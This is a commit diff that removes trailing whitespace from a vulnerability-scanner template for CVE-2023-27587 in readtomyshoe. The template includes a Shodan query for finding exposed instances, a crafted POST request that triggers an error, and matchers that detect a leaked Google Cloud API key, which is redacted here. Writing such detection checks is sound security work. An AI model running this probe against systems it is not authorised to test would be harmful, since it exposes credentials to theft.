fix trailing-spaces
parent
c6f3f96fd4
commit
e18ff486ec
|
@ -1,13 +1,13 @@
|
||||||
id: CVE-2023-27587
|
id: CVE-2023-27587
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: readtomyshoe - Google Cloud API Disclosure
|
name: readtomyshoe - Google Cloud API Disclosure
|
||||||
author: vagnerd
|
author: vagnerd
|
||||||
severity: high
|
severity: high
|
||||||
description: |
|
description: |
|
||||||
If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key.
|
If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key.
|
||||||
reference:
|
reference:
|
||||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587
|
||||||
- https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
|
- https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
|
||||||
- https://github.com/sec-fx/CVE-2023-27587-PoC
|
- https://github.com/sec-fx/CVE-2023-27587-PoC
|
||||||
classification:
|
classification:
|
||||||
|
@ -16,7 +16,7 @@ info:
|
||||||
cve-id: CVE-2023-27587
|
cve-id: CVE-2023-27587
|
||||||
cwe-id: CWE-209
|
cwe-id: CWE-209
|
||||||
metadata:
|
metadata:
|
||||||
shodan-query: http.html:"readtomyshoe" || title:"ReadToMyShoe"
|
shodan-query: http.html:"readtomyshoe" || title:"ReadToMyShoe"
|
||||||
verified: "true"
|
verified: "true"
|
||||||
tags: cve,cve2023,leak,debug,readtomyshoe
|
tags: cve,cve2023,leak,debug,readtomyshoe
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ requests:
|
||||||
POST /api/add-article-by-text HTTP/1.1
|
POST /api/add-article-by-text HTTP/1.1
|
||||||
Host: {{Hostname}}
|
Host: {{Hostname}}
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Content-Type: application/json
|
Content-Type: application/json
|
||||||
|
|
||||||
{
|
{
|
||||||
"title":"Kernsicherheitstest",
|
"title":"Kernsicherheitstest",
|
||||||
|
@ -50,6 +50,6 @@ requests:
|
||||||
status:
|
status:
|
||||||
- 500
|
- 500
|
||||||
|
|
||||||
- type: dsl
|
- type: dsl
|
||||||
dsl:
|
dsl:
|
||||||
- '!contains((body), ''https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED'')'
|
- '!contains((body), ''https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED'')'
|
||||||
|
|
Loading…
Reference in New Issue